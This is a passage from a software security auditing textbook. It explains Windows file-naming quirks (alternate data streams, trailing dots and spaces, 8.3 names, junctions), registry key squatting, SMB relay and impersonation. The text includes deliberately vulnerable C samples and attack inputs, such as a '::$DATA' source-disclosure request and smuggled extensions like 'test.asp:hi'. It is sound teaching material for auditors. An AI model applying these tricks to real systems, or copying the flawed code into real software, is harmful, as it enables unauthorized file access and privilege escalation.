pathnames that are inaccessible via the traditional DOS-style path. This happens because the DOS naming convention is limited to 260 characters for a fully qualified path. However, NTFS supports a maximum path length of 32,767, but these names can be accessed only by using a UNC pathname provided to the Unicode version of the CreateFile() function. File Streams NTFS supports the notion of file streams, also known as alternate data streams (ADSs). A file stream is simply a named unit of data associated with a file. Each file is composed of one or more file streams. The default file stream is nameless, and any operations performed on a file are implicitly assumed to be dealing with the unnamed file stream, unless another file stream is specified. A fully qualified file stream name has the following format: filename:file stream name:file stream type You're no doubt already familiar with the format of filenames, so you can move on to file stream names. The file stream name has the same format as a filename (without the pathname component). It can contain nearly any character, including spaces. Finally, the file stream type member (which is often omitted) specifies a file stream attribute. Although several attributes exist, the only valid choice is $DATA. For code auditors, file streams can introduce vulnerabilities in certain contexts, particularly when filenames are being constructed based on user input, and those filenames are expected to be of a certain format and have a specific extension. For example, a Web application has a user profiles directory in the Web root where each user's profile is kept in a text file. The following code opens the user profiles directory: BOOL OpenUserProfile(LPCSTR UserName) { HANDLE hProfile; char buf[MAX_PATH]; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 685 if(strlen(UserName) >= MAX_PATH strlen(ProfilesDir) - 4) return FALSE; if(strstr(UserName, "..")) return FALSE; _snprintf(buf, sizeof(buf), "%s\\%s.txt", ProfilesDir, UserName); hProfile = CreateFile(buf, GENERIC_ALL, FILE_SHARE_READ, NULL, CREATE_ALWAYS, 0, NULL); if(hProfile == INVALID_HANDLE_VALUE) return FALSE; ... load or create profile ... } The intention of this code is to create a text file in the user profiles directory; however, you can create a file with any extension you please by specifying a username such as test.asp:hi. This username would cause the code to create the test.asp file with the file stream hi.txt. Although you could create arbitrary files in this example, accessing the alternate file streams where you're writing data might prove to be more complicated, depending on the Web server being used to serve files. Attacks of this nature tend to work on Web-related technologies because filenames are often completely user controlled, and how the filename appears to the Web server makes a big difference in how it's processed and served to users. For example, the file extension might cause a file to be handled by a certain filter or Web server extension, as in IIS. In fact, default installations of IIS 4 and earlier had a vulnerability involving file streams that took advantage of this situation. By appending ::$DATA to an ASP script file, it was possible to read the source of the file remotely instead of having it run the contents as script code because IIS didn't correctly identify it as an ASP file and hand it off to the ASP ISAPI extension for processing. So a request such as the following could allow the contents of the login.asp script on a Web server to be revealed: GET /scripts/login.asp::$DATA Note that when using ADS notation to specify alternate data streams, the only way to represent the unnamed stream is by using ::$DATA. You can't omit the $DATA extension. The filenames C:\test.txt: and C:\test.txt:: are illegal as far as The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 686 CreateFile() is concerned, and attempting to create or open files with these names results in an error. Extraneous Filename Characters CreateFile() has a few more idiosyncrasies that don't belong in any other category, so they are mentioned here. First, CreateFile() performs special handling of trailing spaces in file names. Any trailing spaces in the filename argument are silently stripped out, which introduces some possible vulnerabilities. This behavior might be a useful method of stripping out trailing path data, thus allowing attackers to choose an arbitrary file extension, as shown in this example: BOOL OpenUserProfile(LPCSTR UserName) { char buf[MAX_PATH]; HANDLE hFile; if(strstr(UserName, "..")) return FALSE; _snprintf(buf, sizeof(buf), "%s\\%s.txt", ProfileDirectory, Name); buf[sizeof(buf)-1] = '\0'; hFile = CreateFile(buf, GENERIC_ALL, FILE_SHARE_READ, NULL, CREATE_NEW, 0, NULL); if(hFile == INVALID_HANDLE_VALUE) return FALSE; ... more stuff ... } This code is intended to create a text file and enforces this behavior by appending a .txt extension. However, if users specify a filename that's close to MAX_PATH bytes, this .txt file extension might get cut off. By specifying a filename with an arbitrary extension followed by a large number of spaces, users could create any type of file they like. Having arbitrary trailing spaces might also cause an application to incorrectly identify files with special names or file extensions and use them incorrectly. For example, consider the following code: HANDLE GetRequestedFile(LPCSTR requestedFile) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 687 { if(strstr(requestedFile, "..")) return INVALID_HANDLE_VALUE; if(strcmp(requestedFile, ".config") == 0) return INVALID_HANDLE_VALUE; return CreateFile(requestedFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); } This simple example checks whether users are requesting a special file .config, and if they are, doesn't allow them to access it. However, by specifying a filename such as ".config", users can still gain access to this file. Note Users would also be able to access the file by requesting .config::$DATA. Spaces trailing the filename might also pose a threat when files are supposed to be unique, but the call to CreateFile() uses the CREATE_ALWAYS value for dwCreationDisposition instead of CREATE_NEW. Returning to the user profiles example, imagine you have an administrative user with special privileges. You might be able to steal the administrator's credentials by creating an account with a username such as "admin". Selecting this username might make it possible to read administrative profile data or even overwrite it. Spaces aren't the only extraneous characters stripped from filename arguments. Another interesting behavior of CreateFile() is that it strips trailing dots from the filename in much the same way it strips spaces. Any number of trailing dots are silently stripped off the end of a filename before the file is created, introducing opportunities for creating or opening unexpected files in much the same way using spaces does. So creating a file named "c:\test.txt.........." creates the c:\test.txt file. As an interesting variation, both spaces and dots can be intermingled in any order, and CreateFile() silently strips both spaces and dots. For example, passing the filename "c:\test.txt . .. ..." to CreateFile() also creates the C:\test.txt file. This behavior isn't well known and isn't obvious to developers, so attackers can use this suffix combination to trick applications into opening files. This is especially true of Web-based applications and Web servers because filename extensions often determine how they handle files. In fact, appending dots or spaces to filenames has resulted in several instances of being able to view the source for script code. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 688 One other behavior of these trailing characters is that they aren't stripped if an ADS stream follows the filename. For example, if you pass the name c:\test.txt. to CreateFile(), the trailing dot is stripped and the c:\test.txt file is created. However, if you pass the name c:\test.txt.:stream to CreateFile(), the trailing dot isn't stripped, and the c:\test.txt. file is created (with an ADS named stream). The same happens if you have an unnamed ADS following the file extension, such as ::$DATA. However, if you have dots and/or spaces following the ADS component of the filename, they are truncated. So the string "C:\\test.txt::$DATA ......... . . . ..." creates the c:\test.txt file and writes to the default unnamed file stream. As a final note, DOS device names might end with a colon character (:) that's silently stripped out, and the device is accessed as normal. They might also contain additional characters after the colon, and the function still succeeds. However, an ADS isn't created for the device; the extraneous data is just ignored. Case Sensitivity One thing that distinguishes Windows filenames from UNIX filenames is that NTFS and FAT filenames aren't case sensitive. Therefore, bypassing filename and path checks by mixing case when accessing files is possible sometimes. If you look at the previous example, the GetrequestedFile() function is intended to block people from accessing the .config file in any directory. You saw a method for gaining access to the file by using extraneous trailing characters, but another method you could use is requesting the file with some or all of the characters in uppercase. Therefore, by requesting .CONFIG, you can retrieve the contents of a file that's supposed to be hidden from you. Any file accesses in Windows need to be assessed for case-mixing when validating filenames or file extensions. SPI Dynamics discovered precisely this type of bug in the Sun ONE Web server. The Sun ONE Web server determined how to process files based on the server extension, yet it treated the filenames as case sensitive because it was originally built for UNIX systems. Therefore, if a JSP page was requested with an uppercase extension (hello.JSP as opposed to hello.jsp), the server would mistakenly list the file's source code rather than run the script. A description of this bug is available at http://sunsolve.sun.com/search/document.do?assetkey=. DOS 8.3 Filenames In early versions of Windows and DOS, filenames were represented in the 8.3 format. This term refers to a filename composed of up to eight letters, followed by a dot, followed by a three-letter file extension. The introduction of Windows NT and 95 allowed using longer filenames, filenames containing spaces, and filenames without extensions. To retain compatibility with earlier Windows versions, these newer file systems store a long filename and an 8.3 filename for every file. This 8.3 filename is generally composed of the first six letters of the long filename followed by a tilde(~) and a number, and then the dot and the first three letters of the extension. The The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 689 number after the tilde differentiates between long filenames that have the first six letters of their names in common. For example, the thisisalongfilename.txt filename can usually be referred to as thisis~1.txt. This format can become a bit of a security problem for filenames that are more than eight characters, not including the dot or file extension. This issue is relevant when certain files aren't allowed to be accessed or data is kept in separate files distinguished by a key that's meant to be unique. For example, refer to the user profile code used to demonstrate some file handling vulnerabilities so far. In applications such as this one, it might be possible to steal other users' credentials by creating a username that's the same initial six letters followed by a ~1. Assume the application is managing users, one of whom is an administrator with the username administrator. Creating a new user with the name admini~1 might allow an attacker to access that user's profile due to the equivalence of the two names. When auditing code for bugs of this nature, be mindful that it may be possible to circumvent filename restrictions if a requested filename is larger than eight characters. However, this issue can be prevented by prepending the UNC path identifier (\\?\) to disable DOS filename parsing when calling CreateFile(). Auditing File Opens The flexibility of the CreateFile() function can cause a number of problems. You can formalize these problems as an ordered list of things to check to determine whether a file open is safe. This summary has been divided into tables based on what part of the filename users can control: the beginning, the middle, or the end. Some potential vulnerabilities fit into more than one of these categories, so there's also a table summarizing attacks that are possible when users control any part of the filename. This section is a summary of all the attacks discussed thus far in file openings, so it is intended as a reference for code auditors when encountering file opens. These tables simply list attacks made possible by the file APIs and don't explain when they could be used to compromise an application because you have already covered that ground. These summaries are just based on generic file open problems that might occur; applications might, of course, contain context-specific logic flaws in the way they open files (such as not adequately checking file permissions when running in an elevated context), and these flaws aren't summarized. Finally, these rules don't apply if untrusted data is not used to compose any part of the pathname. Controlling the Beginning of a Filename Table 11-8 summarizes potential vulnerabilities to check for when users can control the beginning of a filename argument. Table 11-8. Controlling the Beginning of a Filename The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 690 Attack Vulnerable If Specifying an absolute path There's no check for path separators. Specifying a named pipe The code fails to check that the file being accessed is a regular file (has the attribute FILE_ATTRIBUTE_NORMAL) using GetFileAttributes() or is a disk file (FILE_TYPE_DISK) according to GetFileType(). Specifying a mailslot Same as for named pipes. Controlling the Middle of a Filename Table 11-9 summarizes potential problems when malicious users can specify part of the filename, but there's constant data both before and after the user-controlled string. Table 11-9. Controlling the Middle of a Filename Attack Vulnerable If Directory traversal attack The code fails to check for directory traversal characters (..). DOS 8.3 filenames The code does static string comparisons on potentially long filenames and makes policy decisions based on that comparison. Also, the filename must be passed to CreateFile() without being prefixed with \\?\. Controlling the End of a Filename Table 11-10 summarizes vulnerabilities that might arise in an application when users can control the end of a filename. In many instances, it might be the intention that users control just the middle of a filename, but they can control the end by using up the entire amount of space in a buffer. For example, in the following line, if user_input is large enough, the .txt extension will be cut off: _snprintf(buf, sizeof(buf), "%s.txt", user_input); Table 11-10. Controlling the End of a Filename Attack Vulnerable If The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 691 Table 11-10. Controlling the End of a Filename Attack Vulnerable If Directory traversal attack The code fails to check for directory traversal characters (..). Adding extraneous trailing characters Some checks are made on the file extension or filename without taking into account the silent truncation of spaces and dots. DOS 8.3 filenames The code does static string comparisons on potentially long filenames and makes policy decisions based on that comparison. Also, the filename must be passed to CreateFile() without being prefixed with \\?\. Controlling Any Part of the Filename Table 11-11 summarizes generic attacks that might be available to attackers, no matter what part of the filename they control. Table 11-11. Controlling Any Part of a Filename Attack Vulnerable If Specifying a device The code fails to check that the file being accessed is a regular file (has the attribute FILE_ATTRIBUTE_NORMAL) using GetFileAttributes() or is a disk file (FILE_TYPE_DISK) according to GetFileType(). Also, vulnerable only if the pathname isn't prefixed with \\?\. Specifying ADS The code fails to check for the ADS separator (:). Filename squatting The code intends to create new files but doesn't use the CREATE_NEW flag to CreateFile(), and users are able to write files into the relevant directory. Case sensitivity The code does checks on a filename assuming case sensitivity (more common in code ported from UNIX to Windows). Links Links provide a mechanism for different file paths to point to the same file data on disk. Windows provides two mechanisms for linking files: hard links and junction points. Hard links in Windows are similar to those in UNIX; they simply allow a file on disk to have multiple names. Junction points enable a directory to point to another The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 692 directory or volume attached to the system. They apply to directories only; there's no soft link parallel in Windows, with the exception of Windows shortcut files. The presence of these special files might allow attackers to trick applications into accessing files in unauthorized locations, thus potentially undermining the security of the application. The following sections discuss how to identify problems that result from encountering these types of special files. Hard Links Creating a hard link simply assigns an additional name to the linked file so that the file can be referred to by either name. A file object on disk keeps track of how many names refer to it so that when a link is deleted, the file is removed from the system only when no more names refer to it. A hard link can be created programmatically by using the CreateHardLink() function. Hard links can be applied only to files, not directories, and the original file and the new hard link must reside on the same volume; you can't create a link to a file where the target name resides on a separate volume or a remote location specified by a UNC path name. Finally, the user creating the hard link must have appropriate access to the destination file. Junction Points Junction points are special directories that are simply pointers to another directory; the target directory can be located on the same volume or a different volume. In contrast to hard links, junction points can point only between directories; files can't be used as the source or target of a junction point. Note Actually, you can create directory junction points that point to files, but attempts to open them always fail with ERROR_ACCESS_DENIED. Apart from this limitation, junction points are similar to the symbolic links discussed already in the UNIX chapters. Junctions are available only on volumes formatted as NTFS 5 and later, as they use reparse point functionality in those NTFS versions. Reparse Points Junctions are implemented through the use of NTFS reparse points. NTFS files and directories can set the FILE_ATTRIBUTE_REPARSE_POINT attribute to indicate that a file system driver needs to intervene in file-handling operations. The file system driver then performs special parsing on a reparse data buffer associated with the file. Every file system driver that implements The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 693 reparse points has a unique tag registered in the kernel. When a file with a reparse point is encountered, the reparse data buffer is compared against each registered tag value, and then passed off to the appropriate driver when a match is found. If no match is found, the file access fails. Junctions are one implementation of reparse points. They apply only to directories, which must be emptya constraint of reparse points applied to directories. Their data buffer contains a pointer to the target location the directory is intended to point to. The driver can then use this information to find the real target file an application is attempting to access. At the time of this writing, there's no publicly exposed API to manipulate reparse points easily. However, users can construct and examine reparse data buffers by using the DeviceIoControl() function. Mike Nordell explains in more detail how to create and manipulate reparse points at www.codeproject.com/w2k/junctionpoints.asp. Because junction points are dynamicmeaning they can point anywherewhere the junction points can change at any time. Their presence represents some potential issues for applications trying to access files securely. These vulnerabilities fall into two primary categories, explained in the following sections:  Unintentional file access outside a particular subdirectory structure  File access race conditions Arbitrary File Accesses Often an application should restrict access to a confined region of the file system. For example, an FTP server might export only a specific subdirectory, or an application that manages user profiles might access user data in only a certain subdirectory. Say a privileged service is accessing files in c:\temp, which a normal user can also write to. Attackers might be able to cause the service to access system files that it shouldn't. The following example shows some vulnerable code: BOOL WriteToTempFile(LPCSTR filename, LPCSTR username, LPVOID data, size_t length) { char path[MAX_PATH], ext[8]; HANDLE hFile; if(strchr(filename, '\\') != NULL || strstr(filename, "..") != NULL) return FALSE; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 694 generate_temporary_filename_extension(ext); snprintf(path, sizeof(path)-1, "c:\\temp\\%s_%s_%s.txt", user, filename, ext); path[sizeof(path)-1] = '\0'; hFile = CreateFile(path, GENERIC_READ, FILE_SHARE_READ, NULL, CREATE_ALWAYS, 0, NULL); if(hFile == INVALID_HANDLE_VALUE) return FALSE; ... write data ... } There are several problems with the way this code is written, but assume attackers can provide the filename, but not the username; the username is determined when they log in. By creating a junction with the same name as the file being created, attackers can have this filename written to anywhere on the file system. Furthermore, a large number of spaces (as discussed earlier) can be used to remove the extension and create a completely predictable file. To perform this attack, users (say bob) could create a junction in c:\temp pointing to C:\Windows\system32 and named bob_dirname. Attackers would then specify a filename with enough spaces to cut off the trailing data, so the resulting path would translate to any arbitrary file under the main 32-bit system directory. Assuming the application is running with sufficient privileges, this allows the attacker to replace executables or libraries used by services and administrative users. In this example, users need to be able to supply a file separator. The code checks for \\, not /, which allows them to supply one. Because junctions can be linked successfully only between two directories, path separators are always an additional consideration when determining whether a bug is exploitable through the use of junctions. If a path separator can't be specified, exploitation is possibly more limited. As always, exploitability of a bug of this nature depends on how the pathname is built and whether the file is written to or read from. Still, there is the potential for a vulnerability any time attackers can potentially circumvent an application's file access restrictions to affect arbitrary parts of the file system. It can also be dangerous to read a file controlled by less privileged users. A malicious user might be able to perform some nasty tricks, particularly by using junctions. To understand this problem, take a look at a simple example: The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 695 int LoadUsersSettings(LPCSTR User, LPCSTR SettingsFileName) { char path[MAX_PATH]; HANDLE hFile; _snprintf(path, sizeof(path)-1, "%s\\appdata\\%s", get_home_directory(User), SettingsFileName); path[sizeof(path)-1] = '\0'; hFile = CreateFile(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_ALWAYS, 0, NULL); If(hFile == INVALID_HANDLE_VALUE) return -1; ... read the file ... } This code seems innocent enough, assuming the get_home_directory() function works as expected. However, attackers could create a junction named appdata that points to an arbitrary location on the file system. If they can then specify the SettingsFileName argument, they could use junctions to arbitrarily read any file on the system. File Access Race Conditions When a privileged process needs to access an object on the file system on behalf of a less privileged user, there are two basic ways to do so. The first way is to impersonate the user and attempt to access the file as normal; the second way is to retrieve information about the file and then decide whether to proceed based on file attributes and related security rights. The second approach carries some inherent dangers because the file system isn't a static entity and neither are the objects residing on it. Therefore, the state of the file could change between the time file attributes are examined and when the file is actually operated on. This situation is referred to as a race condition. You have examined race conditions already on UNIX file systems, and race conditions on Windows file systems are quite similar. TOCTTOU As in UNIX, race conditions primarily occur as a result of the time of check to time of use (TOCTTOU) variance in an application. This vulnerability occurs when a security check is done on a file (examining the owner or other properties of the file), and then the file is accessed later, assuming the security check passes. During the The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 696 intervening period, the file could be modified so that its attributes change, resulting in the privileged application accessing a file it didn't intend to. The scope of this attack tends to be more limited in Windows because the File APIs are designed in such a way that they're less conducive to attacks of this nature. For example, in UNIX, TOCTTOU attacks could happen by using access() and then open(). There's no direct correlation of that code sequence in Windows; the API encourages checks to be done as the file is being opened. However, being able to change attributes between a call to GetFileAttributes() and CreateFile() could have consequences that lead to a vulnerability. 7.7.8 The Registry The registry is an integral part of Windows operating systems. It provides a centralized database containing configuration information about software installed on the system and the system itself. Applications often access the registry, and the manner in which they do so is quite important for security reasons because the information in there can direct how the program operates. Information in the registry can be stored in several formats and is used for controlling many aspect of a program's behavior. Applications might store pathnames to more detailed configuration files or helper DLLs, integer values that determine the level of processing an application performs on a file, and so forth. You need to be able to examine each access to the registry in an application to determine whether it's done securely; if it isn't, you must evaluate the level of danger that the application is exposed to if someone takes advantage of an insecure registry access. The registry is organized in a large tree structure. Each top node is called a key, each nonleaf node below a top node is a subkey, and each leaf node is a value. Several predefined keys exist on every system. Table 11-12 summarizes them, based on information in the MSDN. Table 11-12. Predefined Registry Keys Name Purpose HKEY_CLASSES_ROOT Used for storing file type information and their associated properties. It is an alias to a branch in HKEY_LOCAL_MACHINE. HKEY_CURRENT_CONFIG Used for system hardware configuration information. It is an alias to a branch in HKEY_LOCAL_MACHINE. HKEY_CURRENT_USER Used to store preferences for the current user. Each user has his or her own set of preferences, and retrieving values from this key provides access to user preferences, The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 697 Table 11-12. Predefined Registry Keys Name Purpose depending on the identity of the process accessing the key. It is an alias to a branch in HKEY_USERS. HKEY_LOCAL_MACHINE Used to store information about hardware, systemwide configuration parameters (such as network configuration), and systemwide software configuration details. HKEY_USERS Contains default user profile information to be used for new users and profile information for all the users on the system. Key Permissions As mentioned already, keys are securable objects, so they have a set of access rights used to restrict who can read and write to keys and constituent vales. Table 11-13 summarizes these access rights, based on information in the MSDN. Table 11-13. Key Access Rights Access Right Meaning KEY_CREATE_LINK Reserved. KEY_CREATE_SUB_KEY Allows users to create a subkey of a registry key. KEY_ENUMERATE_SUB_KEYS Allows users to enumerate all subkeys of a registry key. KEY_EXECUTE Same as KEY_READ. KEY_NOTIFY Allows a user to receive a notification when a change is made to the given registry key or one of its subkeys. KEY_QUERY_VALUE Allows users to query values of a registry key. KEY_READ Equivalent to combining STANDARD_RIGHTS_READ, KEY_QUERY_VALUE, KEY_ENUMERATE_SUB_KEYS, and KEY_NOTIFY. KEY_SET_VALUE Allows users to create, delete, or modify values in a key. KEY_WOW64_32KEY Allows a 64-bit application to access the 32-bit registry view of the key. KEY_WOW64_64KEY Allows a 64-bit application to access the 32-bit registry view of the key. KEY_WRITE Equivalent to combining STANDARD_RIGHTS_WRITE, The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 698 Table 11-13. Key Access Rights Access Right Meaning KEY_SET_VALUE, and KEY_CREATE_SUB_KEY. KEY_ACCESS_ALL Combines all values listed in this table. The permissions applied to keys created by applications are quite critical because the capability to manipulate them can result in severe modification of an application's behavior. The exact effects of altering registry keys is very application specific. In the worst case, however, unchecked registry manipulation could allow an attacker to manipulate the most critical elements of a Windows system. Another important point is that registry keys can be secured but registry values can't. The values are simply in the security scope of the keys, so any attempt to implement a permission boundary must be applied to keys, not values. Key and Value Squatting As with all other named objects, keys could potentially be created before an application creates them. This could allow attackers to supply arbitrary values to the key, regardless of permissions the application attempts to enforce. Key squatting is far less likely than other name squatting for two main reasons:  Applications often create keys and values only once, when the application is installed. To create a key before an application does, you might have to create it before the application is actually installed, which drastically limits exploitability.  The default permissions on registry hives are quite strict, allowing only administrative users to write to the portions under the local machine hive. Therefore, there's far less chance that malicious users can write to sensitive keys or values. Despite these reasons, key squatting might still be an issue. Services can store session-related information in the registry, allowing applications to potentially squat on key and value pairs. Client applications might also perform similar operations that leave them vulnerable to client-side registry squatting attacks. Here's the API for creating and opening registry keys: LONG RegCreateKeyEx(HKEY hKey, LPCSTR lpSubKey, DWORD Reserved, LPTSTR lpClass, DWORD dwOptions, REGSAM samDesired, LPSECURITY_ATTRIBUTES lpSecurityAttributes, PHKEY phkResult, LPDWORD lpdwDisposition) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 699 The RegCreateKeyEx() function is responsible for creating a new key or opening an existing key. The first parameter is a handle to an existing key or one of the predefined keys discussed earlier. The second parameter is the subkey to create or open. All the remaining parameters provide information about the subkey, such as what type of data is stored in the key, associated security permissions, and so forth. If the key already exists, all parameters pertaining to the type of key and the key access permissions are ignored. When looking for key-squatting issues, the last parameter, lpdwDisposition, is important. This value is filled in by RegCreateKeyEx() and can contain REG_CREATED_NEW_KEY to indicate it created the key successfully or REG_OPENED_EXISTING_KEY. Therefore, an application is immune to key squatting if it checks this value, as shown in this example: BOOL CreateNewKey(HKEY hKey, LPCSTR lpSubKey, HKEY hNewKey) { DWORD dwDisp; if(RegCreateKeyEx(hKey, lpSubKey, NULL, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hNewKey, &dwDisp) != ERROR_SUCCESS) return FALSE; if(dwDisp != REG_CREATED_NEW_KEY) return FALSE; return TRUE; } However, if an application fails to check the lpdwDisposition value and is writing to a registry location accessible to malicious users, the potential for key squatting exists. The following example is a slightly modified version of the CreateNewKey() function that's now vulnerable to key squatting: BOOL CreateNewKey(HKEY hKey, LPCSTR lpSubKey, HKEY hNewKey) { if(RegCreateKeyEx(hKey, lpSubKey, NULL, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hNewKey, NULL) != ERROR_SUCCESS) return FALSE; return TRUE; } The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 700 Notice that a NULL value is supplied as the disposition argument to RegCreateKeyEx(). Therefore, there is no way of knowing whether a new key is a created key or an existing one is opened. This failure to check for the key's creation state leaves this code vulnerable to key squatting attacks. 7.7.9 Summary This chapter establishes essential background information on the Windows OS and the applications developed for it. You've observed the important aspects of the object model, and how the Windows security model is applied. You've also discovered many of the more specific quirks of how Windows handles typical OS capabilities such as paths, process, and so on. With these tools, you should be able to note areas where the Windows architecture is confusing and where developers are more prone to make security mistakes. In the next chapter, you will expand on this foundation and address the unique issues that occur in communications across processes and remote systems. 7.8 Chapter 12. Windows II: Interprocess Communication Chapter 12. Windows II: Interprocess Communication "Give me back my elephant!" Tony Jaa as Kham, Tom yum goong (2005) 7.8.1 Introduction Chapter 11(? [????.]), "Windows I: Objects and the File System," explored general architectural issues that affect the security of Windows applications. It focused on developing an understanding of the Windows security model and its object-based architecture. Up to this point, however, you have looked at these components only in isolation from the rest of the system. To complete your understanding of Windows, you need to consider the interprocess communications (IPC) mechanisms Windows provides and how they affect application security. IPC refers to the mechanisms for passing data (in a myriad of forms) between two related or unrelated processes. These processes can exist on the same machine or could be located on different machines that communicate across a network. Windows operating systems provide a wide variety of native IPC mechanisms, each with a rich feature set for controlling communication details and access controls. These The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 701 mechanisms are used extensively to transmit data, apportion workloads, and signal events between processes on the same system or across a network. Of course, all this capability comes at a price; communication mechanisms must expose some attack surface and open the potential for new vulnerabilities. In the most severe cases, Windows IPC vulnerabilities have allowed remote unauthenticated users to gain full administrative access to a vulnerable machine. This chapter examines several popular IPC mechanisms in Windows operating systems and explains how to apply what you have already learned to assess services using these IPC mechanisms. 7.8.2 Windows IPC Security Before you delve into the coverage of IPC mechanisms, you need to expand your knowledge of Windows security a bit. Chapter 11(? [????.]) explained the core elements of the security model; however, there are more complicated situations to consider when you're dealing with IPC communications. In particular, you need to understand how security is affected by communication across a network and how impersonation affects the user security context. The following sections explain some basic principles of IPC security that lay the foundation for the discussion in the remainder of this chapter. The Redirector Windows network authentication can be confusing from the programmer's perspective because so many things seem to happen implicitly, and you might not be sure what's going on under the hood. The redirector is the component that acts as the man behind the curtain. It provides the mapping that makes it possible to use the same API calls for local files, remote files, named pipes, mailslots, and WebDAV shares. The following sections cover some security-relevant elements of the redirector without the distraction of unnecessary details. Universal Naming Convention Universal Naming Convention (UNC) paths were mentioned briefly in Chapter 11(? [????.]). For networking purposes, a UNC path provides a standardized way of referencing files and devices across networked systems. UNC paths take the following form: \\server\share\path The server is simply the name of the system; depending on the environment, it can be a NETBIOS name, an IP address, or a qualified DNS name. Supplying a period (.) character for the server is an alias for the local system. The share is the exported The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 702 name assigned to a directory or device on the remote system. Finally, the path is just the qualified path to a file. Session Credentials Chapter 11(? [????.]) discussed how user logon sessions are containers for tokens associated with a user logon, but this explanation can be expanded to include connections to remote systems. Connecting to any remote system generates a set of session credentials for that machine, and these credentials are stored in the logon session. A logon session can have at most one session credential for each remote system. To understand how this works, consider a connection to the remote share stuff on the host Bob; the UNC path for this share is \\Bob\stuff. You can map this share to the drive letter X with the following command: net use X: \\Bob\stuff Now any references to the X: drive are redirected to the stuff share on Bob. One thing you may notice about this command line is that no explicit credentials are passed for connecting to this share. The credentials are not passed explicitly because the OS passed the existing logon session credentials automatically. This implicit behavior is what saves you the trouble of reentering your password in an NT Domain or Active Directory environment. However, it can be the source of some issues when the remote system isn't in a trusted domain. Assume that you and Bob aren't in the same domain. This means Bob's computer has an account matching your user name and password, or he has enabled anonymous access for the share. So you poke around a bit and discover that Bob does in fact allow anonymous access to the share, but these credentials are insufficient to access the share's contents. Fortunately, Bob is a friend and you have an account on his computer. So you can simply run the following command to connect with the appropriate credentials: net use Y: \\Bob\stuff /user:Bob\Joe This command should allow you to log on to Bob's system as a local user named Joe; issuing this command then displays a prompt for Joe's password. Unfortunately, the password still won't work at this time. To see why, just issue a net use command with no arguments. You will see that the logon session still has your connection to Bob's computer from when you mapped the X: drive. Remember that Windows allows only one set of session credentials for a remote server from a logon session. The anonymous connection to X: already established a session, so you need to disconnect The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 703 that existing session before you can log on as Joe. You can unmap the X: drive with the following command: net use X: /D After unmapping the X: drive, you can successfully establish a new connection to Bob's system. This example should demonstrate that a logon session can maintain only one set of session credentials per remote system. This restriction isn't just limited to file shares. It's a core part of the security model and applies to all network IPC mechanisms using built-in Windows authentication. SMB Relay Attack The previous section stated that Windows passes your credentials automatically when connecting to another system, but this isn't exactly true. In traditional Windows authentication, the server actually presents the client with a random challenge value. The client then responds with a message authentication code (MAC) incorporating the password hash and challenge value. This challenge sequence is how LAN Manager (LM) and NT LAN Manager (NTLM) authentication avoid presenting the password hash to a potentially malicious server. The downside to this authentication mechanism is that the server's identity is never verified. As a result, LM and NTLM authentication are vulnerable to a type of man-in-the-middle attack known as an SMB relay or SMB proxy attack. To exploit this vulnerability, an attacker causes a victim to establish a Server Message Block (SMB) connection to an attacker-controlled system. This could be done by e-mailing the victim a link to a UNC file path or through a variety of other means. The attacker then initiates a connection to a target system and acts as a proxy between the victim and the target. After the challenge exchange is completed, the attacker is connected to the target server with the victim's credentials. As an auditor, you need to be aware of situations in which an application can be coerced into connecting to untrusted machines, as it can expose the application's credentials to these attacks. Impersonation Impersonation is one of the components that might be most responsible for Windows popularity in enterprise environments. It allows credentials to be transferred automatically to processes in another session on the same machine or a different system. Impersonation is one of the foundational components of Windows single sign-on (SSO) capability. However, all the flexibility and convenience of this system does require devoting some extra care to its use. Impersonation plays a major role in implementing security for Remote Procedure Call (RPC) and Distributed Component Object Model (DCOM) services, Dynamic Data The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 704 Exchange (DDE) client/servers, and named pipe client/servers. The functions of each of these IPC mechanisms are covered individually over the course of this chapter, but first you need to learn a few common aspects of impersonation that apply to all these IPC mechanisms. Impersonation Levels Impersonation levels allow a client to restrict the degree to which an IPC server can use the client's credentials. When these values are supplied, they provide a level of protection for the client; otherwise, the client might accidentally supply its credentials to a malicious server, allowing that server to access network resources on the client's behalf. Table 12-1 summarizes the impersonation levels from the Microsoft Developer Network (MSDN, msdn.microsoft.com). Table 12-1. Impersonation Levels Level Meaning SecurityAnonymous The server can't impersonate or identify the client. SecurityIdentification The server can verify the client's identity but can't impersonate the client. SecurityImpersonation The server can impersonate the client's security context on the local system. SecurityDelegation The server can impersonate the client's security context on remote systems. Where are these impersonation levels specified by the client? Usually, they appear as a parameter in IPC connection functions. The security implications of impersonation levels are best understood in the context of a specific IPC mechanism. So you will revisit impersonation levels throughout the chapter as each IPC mechanism is discussed. SeImpersonatePrivilege Impersonation issues provide opportunities for privilege escalation vulnerabilities, so Microsoft made a fundamental change in the way impersonation is handled. Windows Server 2003, Windows XP SP2, and Windows 2000 SP4 added SeImpersonatePrivilege, which is a required privilege for impersonating another user. A normal user doesn't have this privilege by default, although it's granted to the built-in service accounts. This change significantly reduces the chances of impersonation-based attacks in later versions of Windows. However, for code auditors, it's best to assume the application is deployed in an environment where normal users can perform impersonation. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 705 7.8.3 Window Messaging Windows messaging is a bit confusing to people coming from other platforms, even earlier 